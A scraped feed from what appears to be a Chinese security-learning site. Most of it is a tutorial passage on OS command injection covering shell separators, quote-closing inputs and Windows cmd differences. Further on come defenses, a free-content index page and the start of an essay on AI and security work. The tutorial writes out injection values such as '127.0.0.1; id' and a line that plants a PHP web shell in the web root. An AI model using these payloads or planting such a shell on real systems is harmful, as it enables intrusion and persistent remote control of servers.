</div><h3 id="_2-与-看前一条的-退出码" tabindex="-1">2. <code>&amp;&amp;</code> 与 <code>||</code>：看前一条的“退出码” <a class="header-anchor" href="#_2-与-看前一条的-退出码" aria-label="Permalink to &quot;2. `&amp;&amp;` 与 `||`：看前一条的“退出码”&quot;"></a></h3>
<p>每条命令结束后都会留下一个<strong>退出码</strong>，存在特殊变量 <code>$?</code> 里：<code>0</code> 表示成功，非 <code>0</code> 表示失败。</p>
<ul>
<li><code>A &amp;&amp; B</code>：只有 <code>A</code> 成功（退出码 0）才执行 <code>B</code>；</li>
<li><code>A || B</code>：只有 <code>A</code> 失败（退出码非 0）才执行 <code>B</code>。</li>
</ul>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ping</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -W</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 127.0.0.1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ></span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/dev/null</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x26;&#x26; </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "主机存活"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">主机存活</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ping</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -W</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 192.0.2.99</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ></span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/dev/null</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ||</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "主机不可达"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">主机不可达</span></span></code></pre>
</div><p>这在注入里很有用：你可以让“是否执行你的命令”绑定到原命令的成败上，也常用来做“原命令失败也不影响我执行”的兜底，例如 <code>127.0.0.1 || id</code>。</p>
<h3 id="_3-管道-把前一条的输出喂给后一条" tabindex="-1">3. <code>|</code> 管道：把前一条的输出喂给后一条 <a class="header-anchor" href="#_3-管道-把前一条的输出喂给后一条" aria-label="Permalink to &quot;3. `|` 管道：把前一条的输出喂给后一条&quot;"></a></h3>
<p><code>A | B</code> 会把 <code>A</code> 的标准输出，接到 <code>B</code> 的标准输入上。哪怕后一条命令根本不读输入，它<strong>照样会被启动执行</strong>：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> whatever</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> id</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">uid</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) gid</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) groups</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><p><code>id</code> 并不理会管道送来的 <code>whatever</code>，但它确实运行了。实战中管道更多用于“把某个命令的输出交给 grep / 另一个工具处理”。</p>
<h3 id="_4-后台符-把前一条丢到后台" tabindex="-1">4. <code>&amp;</code> 后台符：把前一条丢到后台 <a class="header-anchor" href="#_4-后台符-把前一条丢到后台" aria-label="Permalink to &quot;4. `&amp;` 后台符：把前一条丢到后台&quot;"></a></h3>
<p><code>A &amp; B</code> 会让 <code>A</code> 在后台运行、立即返回，接着执行 <code>B</code>。在注入点位于命令<strong>中间</strong>、而后面还拖着原命令参数时特别好用：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> sleep</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 20</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x26; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">id</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[1] 13042</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">uid</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) gid</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) groups</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><h3 id="_5-与反引号-命令替换" tabindex="-1">5. <code>$()</code> 与反引号：命令替换 <a class="header-anchor" href="#_5-与反引号-命令替换" aria-label="Permalink to &quot;5. `$()` 与反引号：命令替换&quot;"></a></h3>
<p><code>$(...)</code> 会先执行括号里的命令，再用它的<strong>输出</strong>替换到当前位置：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "当前身份是 $(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">id</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">当前身份是</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> uid=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">gid=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">groups=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><p>反引号 <code>`...`</code> 是等价的老式写法，现在更推荐 <code>$()</code>（支持嵌套、可读性更好）。</p>
<h3 id="_6-换行-n-直接另起一条" tabindex="-1">6. 换行 <code>\n</code>：直接另起一条 <a class="header-anchor" href="#_6-换行-n-直接另起一条" aria-label="Permalink to &quot;6. 换行 `\n`：直接另起一条&quot;"></a></h3>
<p>shell 把换行也当作命令结束符。通过 HTTP 注入时，换行通常编码为 <code>%0a</code>：</p>
<div class="language-text vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">text</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span>ip=127.0.0.1%0aid</span></span></code></pre>
</div><p>服务端拼出两行，等于在新的一行执行了 <code>id</code>。</p>
<h3 id="_7-重定向-不只是-追加命令-还能写文件" tabindex="-1">7. 重定向 <code>&gt;</code> <code>&lt;</code>：不只是“追加命令”，还能写文件 <a class="header-anchor" href="#_7-重定向-不只是-追加命令-还能写文件" aria-label="Permalink to &quot;7. 重定向 `&gt;` `&lt;`：不只是“追加命令”，还能写文件&quot;"></a></h3>
<p>严格说重定向不是“拼接新命令”，但它在利用中极其重要——<strong>可以把内容写进文件</strong>。如果 Web 目录可写，甚至能直接写一个网页木马：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> '&#x3C;?php system($_GET["c"]); ?>'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ></span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> /var/www/html/shell.php</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># 之后访问 shell.php?c=id 即可执行命令</span></span></code></pre>
</div><p>能否写成功取决于目录权限，但这是“命令注入 → 落地持久化”的一条经典路径。</p>
<h3 id="符号总表-命令注入-字母表" tabindex="-1">符号总表（命令注入“字母表”） <a class="header-anchor" href="#符号总表-命令注入-字母表" aria-label="Permalink to &quot;符号总表（命令注入“字母表”）&quot;"></a></h3>
<table tabindex="0">
<thead>
<tr>
<th>符号</th>
<th>名称</th>
<th>shell 里的含义</th>
<th>输入示例</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>;</code></td>
<td>分号</td>
<td>无条件顺序执行</td>
<td><code>127.0.0.1; id</code></td>
</tr>
<tr>
<td><code>&amp;&amp;</code></td>
<td>逻辑与</td>
<td>前一条<strong>成功</strong>才执行</td>
<td><code>127.0.0.1 &amp;&amp; id</code></td>
</tr>
<tr>
<td><code>||</code></td>
<td>逻辑或</td>
<td>前一条<strong>失败</strong>才执行</td>
<td><code>127.0.0.1||id</code></td>
</tr>
<tr>
<td><code>|</code></td>
<td>管道</td>
<td>前一条输出作为后一条输入</td>
<td><code>127.0.0.1 | id</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td>后台符</td>
<td>前一条进后台，立即执行下一条</td>
<td><code>127.0.0.1 &amp; id</code></td>
</tr>
<tr>
<td><code>$()</code></td>
<td>命令替换</td>
<td>先执行括号内、用输出替换</td>
<td><code>$(id)</code></td>
</tr>
<tr>
<td><code>` `</code></td>
<td>反引号</td>
<td>同 <code>$()</code>，老式写法</td>
<td><code>`id`</code></td>
</tr>
<tr>
<td>换行 <code>%0a</code></td>
<td>换行</td>
<td>直接开始一条新命令</td>
<td><code>127.0.0.1%0aid</code></td>
</tr>
<tr>
<td><code>&gt;</code> <code>&lt;</code></td>
<td>重定向</td>
<td>写出 / 读入文件</td>
<td><code>echo ... &gt; /路径/x.php</code></td>
</tr>
</tbody>
</table>
<p>新手最容易混的两组，务必分清：<strong>一个竖线 <code>|</code> 是管道，两个 <code>||</code> 才是“失败才执行”；一个 <code>&amp;</code> 是后台，两个 <code>&amp;&amp;</code> 才是“成功才执行”。</strong></p>
<h2 id="五、注入点在-哪里-你可能要先闭合引号" tabindex="-1">五、注入点在“哪里”：你可能要先闭合引号 <a class="header-anchor" href="#五、注入点在-哪里-你可能要先闭合引号" aria-label="Permalink to &quot;五、注入点在“哪里”：你可能要先闭合引号&quot;"></a></h2>
<p>前面的例子都假设输入位于命令末尾、且没有引号包裹。但真实代码里，输入常常被引号包住、或夹在命令中间。<strong>处在引号内部时，元字符会被当成普通字符</strong>，必须先“闭合引号”跳出当前上下文。</p>
<table tabindex="0">
<thead>
<tr>
<th>输入在命令中的位置</th>
<th>后端拼出的形式</th>
<th>该怎么注入</th>
</tr>
</thead>
<tbody>
<tr>
<td>命令末尾，无引号</td>
<td><code>ping -c 4 X</code></td>
<td><code>127.0.0.1; id</code></td>
</tr>
<tr>
<td>双引号内</td>
<td><code>ping -c 4 &quot;X&quot;</code></td>
<td><code>127.0.0.1&quot;; id; &quot;</code></td>
</tr>
<tr>
<td>单引号内</td>
<td><code>ping -c 4 'X'</code></td>
<td><code>127.0.0.1'; id; '</code></td>
</tr>
<tr>
<td>夹在命令中间</td>
<td><code>ping X -c 4</code></td>
<td><code>127.0.0.1; id ;</code></td>
</tr>
</tbody>
</table>
<p>以双引号为例，输入 <code>127.0.0.1&quot;; id; &quot;</code> 后，命令被拼成：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">ping</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 4</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "127.0.0.1"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">id</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">""</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#          └─引号正常闭合─┘   └id┘ └空命令，仅为凑齐引号┘</span></span></code></pre>
</div><p>末尾那个 <code>&quot;&quot;</code> 是为了让“被我们拆开的引号”重新配对，避免语法错误。单引号同理。</p>
<blockquote>
<p>单、双引号还有个重要区别：<strong>双引号内仍会进行 <code>$</code>、反引号等展开，单引号内则完全不展开、内容原样保留。</strong> 这会影响你在不同上下文里能否用 <code>$()</code>，绕过篇（Part 4）会细讲。</p>
</blockquote>
<h2 id="六、windows-目标-cmd-exe-的异同" tabindex="-1">六、Windows 目标：cmd.exe 的异同 <a class="header-anchor" href="#六、windows-目标-cmd-exe-的异同" aria-label="Permalink to &quot;六、Windows 目标：cmd.exe 的异同&quot;"></a></h2>
<p>如果目标是 Windows，底层 shell 是 <code>cmd.exe</code>，思路完全一样，但符号有差异，最容易踩的坑是：<strong>Windows 没有 <code>;</code> 这个命令分隔符，顺序执行用 <code>&amp;</code>。</strong></p>
<table tabindex="0">
<thead>
<tr>
<th>作用</th>
<th>Linux bash/sh</th>
<th>Windows cmd.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>无条件顺序执行</td>
<td><code>;</code></td>
<td><code>&amp;</code></td>
</tr>
<tr>
<td>成功才执行</td>
<td><code>&amp;&amp;</code></td>
<td><code>&amp;&amp;</code></td>
</tr>
<tr>
<td>失败才执行</td>
<td><code>||</code></td>
<td><code>||</code></td>
</tr>
<tr>
<td>管道</td>
<td><code>|</code></td>
<td><code>|</code></td>
</tr>
<tr>
<td>命令替换</td>
<td><code>$(...)</code></td>
<td>没有内联写法，用 <code>for /f</code></td>
</tr>
<tr>
<td>后台运行</td>
<td><code>&amp;</code></td>
<td><code>start /b</code></td>
</tr>
</tbody>
</table>
<p>例如对一台 Windows 主机，顺序执行两条命令应写成 <code>127.0.0.1 &amp; whoami</code>，而不是 <code>; whoami</code>。判断目标系统（看报错页、TTL、大小写敏感与否）是命令注入的第一步。</p>
<h2 id="七、注入之后-三种结果与利用方向" tabindex="-1">七、注入之后：三种结果与利用方向 <a class="header-anchor" href="#七、注入之后-三种结果与利用方向" aria-label="Permalink to &quot;七、注入之后：三种结果与利用方向&quot;"></a></h2>
<p>按注入后<strong>能不能在页面上看到结果</strong>，通常分三类，这决定了下一步怎么利用：</p>
<ol>
<li><strong>有回显（In-band）</strong>：像上面的 ping 工具，<code>id</code> 的输出直接显示在页面上，最直观，直接读 <code>whoami</code>、<code>ls</code>、<code>cat /etc/passwd</code> 等。</li>
<li><strong>无回显（盲注，Blind）</strong>：命令执行了，但结果不返回。这时先用<strong>延时</strong>确认（如 <code>sleep 5</code>，页面明显变慢即证明可注入），再想办法把结果**外带（OOB, Out-of-Band）**出来，比如 DNS 回连、HTTP 回连。具体手法在 Part 3 细讲。</li>
<li><strong>命令嵌套 / 替换</strong>：用 <code>$()</code> 把注入命令的结果拼回原命令，有时能间接读到结果。</li>
</ol>
<div class="mermaid-wrap"><MermaidChart chart="flowchart%20TD%0A%20%20%20%20A%5B%22%E7%A1%AE%E8%AE%A4%E5%AD%98%E5%9C%A8%E6%B3%A8%E5%85%A5%E7%82%B9%22%5D%20--%3E%20B%7B%22%E9%A1%B5%E9%9D%A2%E8%83%BD%E7%9C%8B%E5%88%B0%E5%91%BD%E4%BB%A4%E7%BB%93%E6%9E%9C%E5%90%97%EF%BC%9F%22%7D%0A%20%20%20%20B%20--%3E%7C%E8%83%BD%7C%20C%5B%22%E7%9B%B4%E6%8E%A5%E8%AF%BB%E5%9B%9E%E6%98%BE%EF%BC%9Aid%20%2F%20whoami%20%2F%20ls%22%5D%0A%20%20%20%20B%20--%3E%7C%E4%B8%8D%E8%83%BD%7C%20D%5B%22sleep%20%E5%BB%B6%E6%97%B6%E7%A1%AE%E8%AE%A4%20%E2%86%92%20DNS%20%2F%20HTTP%20%E5%A4%96%E5%B8%A6%E7%BB%93%E6%9E%9C%22%5D%0A%20%20%20%20B%20--%3E%7C%E5%8F%AF%E5%B5%8C%E5%A5%97%7C%20E%5B%22%E7%94%A8%20%24()%20%E6%8A%8A%E7%BB%93%E6%9E%9C%E6%8B%BC%E5%9B%9E%E5%8E%9F%E5%91%BD%E4%BB%A4%22%5D%0A%20%20%20%20C%20--%3E%20F%5B%22%E8%BF%9B%E4%B8%80%E6%AD%A5%EF%BC%9A%E5%8F%8D%E5%BC%B9%E4%B8%80%E4%B8%AA%E7%A8%B3%E5%AE%9A%20Shell%EF%BC%88Part%202%EF%BC%89%22%5D%0A%20%20%20%20D%20--%3E%20F%0A%20%20%20%20E%20--%3E%20F%0A" /></div><p>命令注入的危害本质是<strong>在目标服务器上以服务账户身份执行任意命令</strong>：读敏感文件、写网页木马、内网探测、装持久化、甚至接管整台机器。而实战中我们通常不会满足于在网页里一条条手敲——而是让目标<strong>主动连回一个稳定的交互式 Shell</strong>，这正是 Part 2 的内容。</p>
<h2 id="八、命令注入-vs-代码注入-别混为一谈" tabindex="-1">八、命令注入 vs 代码注入：别混为一谈 <a class="header-anchor" href="#八、命令注入-vs-代码注入-别混为一谈" aria-label="Permalink to &quot;八、命令注入 vs 代码注入：别混为一谈&quot;"></a></h2>
<table tabindex="0">
<thead>
<tr>
<th>类型</th>
<th>注入的是</th>
<th>典型函数 / 场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>命令注入（OS Command Injection）</strong></td>
<td>操作系统 shell 命令</td>
<td><code>system</code>、<code>exec</code>、<code>shell_exec</code>、<code>ProcessBuilder</code></td>
</tr>
<tr>
<td><strong>代码注入（Code Injection）</strong></td>
<td>应用自身语言的代码</td>
<td><code>eval</code>、<code>assert</code>、模板 / 表达式引擎、反序列化</td>
</tr>
</tbody>
</table>
<p>二者层级不同、又经常互相转化：命令注入是<strong>直接调系统命令</strong>；代码注入是先注入一段<strong>语言代码</strong>（如 <code>eval</code> 里的 Python/PHP），再由这段代码去调系统命令。本系列聚焦命令注入；代码注入在表达式注入（4J）、各语言生态（5E）和反序列化（5B）里讲。</p>
<h2 id="九、防御-先建立正确的直觉" tabindex="-1">九、防御：先建立正确的直觉 <a class="header-anchor" href="#九、防御-先建立正确的直觉" aria-label="Permalink to &quot;九、防御：先建立正确的直觉&quot;"></a></h2>
<p>命令注入的根治思路非常清晰，这里先建立框架，每种语言的具体安全写法在 Part 5 展开：</p>
<ol>
<li><strong>优先不经过 shell（参数化调用）。</strong> 用上文“路径①”的数组式 API，把可执行文件和参数分开传，从根上消除“拼接 → shell 解析”这一步。这是最彻底的防御。</li>
<li><strong>必须用 shell 时，做白名单校验，而不是黑名单。</strong> 比如 ping 工具只允许符合 IP / 域名格式的输入。试图“过滤掉 <code>;</code>、<code>|</code> 等危险字符”的黑名单永远列不全（编码、替代符号、新姿势都能绕，见 Part 4）。</li>
<li><strong>最小权限运行应用。</strong> Web 服务用低权限账户、不给不必要的目录写权限，万一被注入，危害也被限制住。</li>
<li><strong>禁用 / 收敛危险函数，WAF 只作纵深防御的补充。</strong> 如 PHP 可在 <code>disable_functions</code> 里关掉一批命令执行函数；WAF 能挡掉常见扫描，但不能当作唯一防线。</li>
</ol>
<h2 id="十、本篇小结" tabindex="-1">十、本篇小结 <a class="header-anchor" href="#十、本篇小结" aria-label="Permalink to &quot;十、本篇小结&quot;"></a></h2>
<ul>
<li>命令注入成立的<strong>前提</strong>是用户输入最终被交给 <strong>shell</strong> 解释；直接 exec 参数数组、没有 shell，元字符就不生效（Java 单字符串 <code>exec</code> 是最常见的反例）。</li>
<li>核心符号：<code>;</code> 顺序、<code>&amp;&amp;</code> 成功、<code>||</code> 失败、<code>|</code> 管道、<code>&amp;</code> 后台、<code>$()</code> 替换、换行另起、<code>&gt;</code> 写文件；学习关键是理解<strong>语义与 shell 解析顺序</strong>，而非背 payload。</li>
<li>输入被引号包住时要先<strong>闭合引号</strong>；Windows 用 <code>&amp;</code> 而非 <code>;</code>。</li>
<li>结果分<strong>有回显、盲注（延时 / 外带）、嵌套</strong>三类。</li>
<li>防御核心是<strong>不经过 shell 的参数化调用 + 白名单校验 + 最小权限</strong>。</li>
</ul>
<p>能执行命令之后，下一步通常是让目标<strong>主动连回一个稳定的 Shell</strong>。继续看 <a href="/learn/reverse-shell-essence">4.56 反弹 Shell 本质</a>。</p>
<div class="page-footer">
  © 2026 光跃Eason·安研社<br>
  仅限授权安全测试与学习研究使用，禁止用于任何非法攻击场景。<br>
  微信：lightleap612
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[免费内容 · 先试读]]></title>
            <link>https://gysec.top/learn/</link>
            <guid isPermaLink="false">https://gysec.top/learn/</guid>
            <pubDate>Mon, 21 Sep 2026 05:13:46 GMT</pubDate>
            <description><![CDATA[&lt;script setup
import { wikiParts } from '../.vitepress/theme/wikiData'
const cnNum = ['零','一','二']]></description>
            <content:encoded><![CDATA[<h1 id="免费内容-·-先试读" tabindex="-1">免费内容 · 先试读 <a class="header-anchor" href="#免费内容-·-先试读" aria-label="Permalink to &quot;免费内容 · 先试读&quot;"></a></h1>
<p class="learn-lead">下面这些文章<strong>完全免费、无需登录</strong>，是整套 Wiki 的试读样本。想先拿到完整的 Docker 靶场、detect 脚本与原理 PPT/PDF，可加微信 <strong>lightleap612</strong> 免费领取 <strong>L1 入门资料包</strong>；想系统阅读全站正文，可了解 <a href="/wiki/">L2 会员</a>。</p>
<template v-for="g in groups" :key="g.num">
  <h2 class="learn-part">
    <span class="lp-tag">第 {{ cnNum[g.num] }} 篇</span>
    {{ g.title }}
  </h2>
  <div class="learn-list">
    <a v-for="a in g.items" :key="a.num" class="learn-item" :href="a.link">
      <span class="li-num">{{ a.num }}</span>
      <div class="li-body">
        <span class="li-title">{{ a.title }}</span>
        <span v-if="a.desc" class="li-desc">{{ a.desc }}</span>
      </div>
      <span class="li-go">阅读 →</span>
    </a>
  </div>
</template>
<div class="page-footer">
  免费内容持续增加，随新技术发展不断更新。<br>
  © 2026 光跃Eason·安研社<br>
  仅限授权安全测试与学习研究使用，禁止用于任何非法攻击场景。<br>
  微信：lightleap612
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI时代，安全工程师的核心竞争力到底是什么]]></title>
            <link>https://gysec.top/learn/ai-era-core-competitiveness</link>
            <guid isPermaLink="false">https://gysec.top/learn/ai-era-core-competitiveness</guid>
            <pubDate>Mon, 21 Sep 2026 03:10:21 GMT</pubDate>
            <description><![CDATA[← 返回入门筑基
 AI时代，安全工程师的核心竞争力到底是什么
这两年，几乎每个学安全的人心里都闪过同一个念头：
「AI 都能一键生成 POC 了，我还学个啥？」
打开对话框，输入漏洞编号，几秒钟，一]]></description>
            <content:encoded><![CDATA[<p><a href="/wiki/">← 返回入门筑基</a></p>
<h1 id="ai时代-安全工程师的核心竞争力到底是什么" tabindex="-1">AI时代，安全工程师的核心竞争力到底是什么 <a class="header-anchor" href="#ai时代-安全工程师的核心竞争力到底是什么" aria-label="Permalink to &quot;AI时代，安全工程师的核心竞争力到底是什么&quot;"></a></h1>
<p>这两年，几乎每个学安全的人心里都闪过同一个念头：</p>
<p>「AI 都能一键生成 POC 了，我还学个啥？」</p>
<p>打开对话框，输入漏洞编号，几秒钟，一段像模像样的利用脚本就出来了。复制、粘贴、运行——有时候还真能成。于是更慌了：这活儿是不是早晚被 AI 干完？</p>
<p>先说结论：<strong>AI 确实干掉了一部分安全工作，但干掉的是本来就不值钱的那部分。</strong> 想明白它替代了什么、替代不了什么，你就知道该把力气花在哪。</p>
<h2 id="一、ai-替代的-是「搬运和拼装」" tabindex="-1">一、AI 替代的，是「搬运和拼装」 <a class="header-anchor" href="#一、ai-替代的-是「搬运和拼装」" aria-label="Permalink to &quot;一、AI 替代的，是「搬运和拼装」&quot;"></a></h2>
<p>你有没有想过，AI 为什么能写出 POC？</p>
<p>因为这个漏洞的利用方式，网上早就有了——有人写过分析、发过 exp、提交过靶场。大模型做的事，是把这些<strong>已经存在的内容</strong>记住，再按你的要求重新拼一遍。</p>
<p>它本质是一个超级熟练的「搬运工 + 组装工」：速度极快、永不疲倦、记得比你多。</p>
<p>而「把已知的东西搜出来、拼起来」这件事，本来就是安全工作里最底层、最容易被替代的环节。过去你背一堆 payload、记一堆命令参数，靠的是「我记得、你不记得」的信息差。<strong>在 AI 面前，单纯的信息差一文钱不值。</strong></p>
<p>所以如果你对安全的全部理解就是「跑 POC」，那确实该焦虑。</p>
<h2 id="二、为什么-ai-给的-poc-经常跑不通" tabindex="-1">二、为什么 AI 给的 POC，经常跑不通 <a class="header-anchor" href="#二、为什么-ai-给的-poc-经常跑不通" aria-label="Permalink to &quot;二、为什么 AI 给的 POC，经常跑不通&quot;"></a></h2>
<p>光说不练假把式，看个最常见的场景。</p>
<p>你让 AI 写一段利用脚本，它信心满满地给了你。你一跑——报错。再问，它改一版，还报错。好不容易不报错了，啥反应没有。换个目标版本，彻底歇菜。</p>
<p>问题出在哪？</p>
<p><strong>AI 能给你「标准答案」，但它不在你的「现场」。</strong></p>
<p>真实的环境里，有无数个变量：目标到底是哪个小版本？WAF 拦了什么？网络通不通？这个依赖在不在？报错信息背后真正的原因是什么？——这些东西，没有任何一段通用脚本能覆盖，只能靠人去判断。</p>
<p>而要做出这种判断，前提是你<strong>懂它为什么能成、又为什么会失败</strong>。这就是分水岭。</p>
<h2 id="三、真正值钱的-是这四样东西" tabindex="-1">三、真正值钱的，是这四样东西 <a class="header-anchor" href="#三、真正值钱的-是这四样东西" aria-label="Permalink to &quot;三、真正值钱的，是这四样东西&quot;"></a></h2>
<p>把 AI 干不了的部分拆开，核心竞争力其实很具体。</p>
<p><strong>1. 判断对错的能力</strong></p>
